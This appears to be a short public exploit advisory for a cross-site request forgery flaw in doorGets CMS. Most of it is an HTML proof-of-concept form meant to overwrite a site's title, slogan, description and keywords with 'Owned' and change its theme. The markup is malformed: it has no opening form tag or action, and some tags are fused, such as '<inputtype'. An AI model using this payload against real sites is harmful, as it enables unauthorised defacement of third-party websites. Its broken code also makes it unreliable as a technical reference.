doorGets CMS – Cross-Site Request Forgery

# Title: Doorgets CSRF Vulnerability

# Author: n0pe

# Software Link: http://www.doorgets.com/

# Download: http://www.doorgets.com/?sources_cms

# Tested: BackBox Linux 3

With this vulnerability you can change the configuration of the site.

Proof of concept:

<html>

<body>

Title <input type="text" id="website_title" name="website_title" value="Owned"><br />

Slogan <input type="text" id="website_slogan" name="website_slogan" value="Owned"><br />

Description <input type="text" id="website_description" name="website_description" value="Owned"><br />

Year of creation <inputtype="text" id="website_year" name="website_year" value="2013"><br />

Keywords <input type="text" id="website_keywords" name="website_keywords" value="Owned"><br />

ID Facebook <input type="text" id="website_id_facebook" name="website_id_facebook" value=""> <br />

Disqus <inputtype="text" id="website_id_disqus" name="website_id_disqus" value=""> <br />

<input type="radio" name="website_theme"id="website_theme_doorgets-home"value="doorgets-home" doorgets-light >doorgets-home<br />

<input type="radio" name="website_theme"id="website_theme_doorgets-light"value="doorgets-light" checked="checked" >doorgets-light<br />

</form>

</body>

</html>